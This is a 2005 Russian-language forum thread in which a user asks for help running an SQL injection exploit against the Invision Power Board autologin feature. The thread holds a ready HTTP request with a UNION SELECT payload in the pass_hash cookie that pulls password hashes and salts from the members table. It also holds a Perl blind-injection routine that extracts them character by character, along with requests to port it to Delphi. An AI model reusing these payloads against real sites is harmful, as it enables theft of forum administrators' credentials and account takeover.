В общем делаю запрос в сокеты! и Не чего не возвращает!

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by AIN, 1 Aug 2005.

  1. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0
    В общем делаю такой запрос!
    А возвращает вот что:

    Я не могу получишь ХЕШ...

    Чё я не так делаю?
     
  2. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    чем ты его делаешь ? и как
     
  3. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0

    В общем сечас пытаюсь делать программой InetCrack А если получится буду
    делать программу... Вот карочий PERL не знаю что смог вытенуть с сплойта то
    и вытинул...

     
  4. .FUF

    .FUF Elder - Старейшина

    Joined:
    1 Aug 2005
    Messages:
    29
    Likes Received:
    7
    Reputations:
    14
    попробуй заменить localhost на домен сервера, и в GET запросе добавить http://
    GET http://www.site.ru/forum/index.php?act=Login&CODE=autologin HTTP/1.0
    Accept: */*
    Host: site.ru
    Cookie: member_id=31337420; pass_hash=1%2527+union+select+converge_id,converge _pass_salt,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 +from+ibf_members_converge+where+converge_id%3D1+/*
    Connection: close
     
  5. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0
    Не фига не чего не возвращает а запрос ка OK. принел но MYSQL не выполняет
    блин ПАРЮСЬ Я ПАРЮСЬ...

    Лучше помогите перевести это:

    Если не трудно перевидет на язык DELPHI...

    Sub check($)
    {
    $n++;
    status();
    $ccheck = $_[0];
    $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D";
    $eas="1%2527+OR+%28id%3D";
    $pass_hash1 = ($flag)?($non):($eas);
    $pass_hash2 = "+AND+ascii%28substring%28";
    $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*";
    $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

    printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
    $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3);

    while(<$socket>)
    {
    if (/Set-Cookie: session_id=0;/) {
    return 1; }
    }


    return 0;
    }



    Или хотя бы эти строки
    $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D";
    $eas="1%2527+OR+%28id%3D";
    $pass_hash1 = ($flag)?($non):($eas);
    $pass_hash2 = "+AND+ascii%28substring%28";
    $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*";
    $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;


    printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
    $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3);
     
  6. JohnZ

    JohnZ New Member

    Joined:
    30 Jul 2005
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    В конце пакета незабуть ставить два пробела, и для начала работай с асинхронным сокетом, иначе должны быть спец приемы чтоб получить ответ. Сам парился пока писал флудер.
     
  7. .FUF

    .FUF Elder - Старейшина

    Joined:
    1 Aug 2005
    Messages:
    29
    Likes Received:
    7
    Reputations:
    14
    >В конце пакета незабуть ставить два пробела
    Наверное ты имел в виду 2 перевода строки (#13#10)
    На практике надо ставить в конец пакета 1 перевод строки (в RFC 2616 сказано ставить 1)
     
    #7 .FUF, 1 Aug 2005
    Last edited: 1 Aug 2005
  8. JohnZ

    JohnZ New Member

    Joined:
    30 Jul 2005
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    Верно перевод строки. Я пишу на BuilderC++6 и правильно заработало только с 2мя переводами.
     
  9. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0
    Ну тогда дайте на B...c++6?
     
  10. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0
    Где вы?
     
  11. JohnZ

    JohnZ New Member

    Joined:
    30 Jul 2005
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    Вот так будет на билдере:

    GET http://www.host.ru HTTP/1.0\r\n
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n
    Accept-Language: ru\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Host: www.host.ru\r\n
    \r\n
     
  12. .FUF

    .FUF Elder - Старейшина

    Joined:
    1 Aug 2005
    Messages:
    29
    Likes Received:
    7
    Reputations:
    14
    запрос у тебя слишком длинный, рекомендую убрать все поля кроме Host (это поле нужно, если потом через прокси надо будет работать).
    конечно иногда сервера игнорят пакеты без User-Agent, но это очень редко
     
  13. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0
    Запросы я умею ДЕЛАТЬ!!! Мне надо именно запустить сплойт!!!
    Вот почему я Perl код сплойта скинул!!!
     
  14. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    разве это непонятно?
    %2C - , (запятая)
    А 0 это нолик.
    Остальное проще простого.
    зы Ждемс репутации)))Фучу
     
  15. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0
    Так я и делаю!!! Заглени в первую страничку!!! Но не выходит... :(
     
  16. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Упс,не заметил...
     
  17. AIN

    AIN New Member

    Joined:
    29 Jul 2005
    Messages:
    58
    Likes Received:
    0
    Reputations:
    0
    Ладно всем спсибо кто хоть чем то мог помоч!

    Придется Perl учить!
     
  18. JohnZ

    JohnZ New Member

    Joined:
    30 Jul 2005
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    AIN если неразобрался в чем дело, то попробуй заместо
    GET localhost/forum/index.php?act=Login&CODE=autologin HTTP/1.0
    зделать
    GET localhost/forum/index.php?act=Login&CODE=autologin HTTP1.0
    должно зароботать.
     
  19. .FUF

    .FUF Elder - Старейшина

    Joined:
    1 Aug 2005
    Messages:
    29
    Likes Received:
    7
    Reputations:
    14
    лол%) вообще-то версии в протоколе хттп обозначаютсся через "/", и то что ты посоветовал уж точно не поможет
     
  20. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    GET http://localhost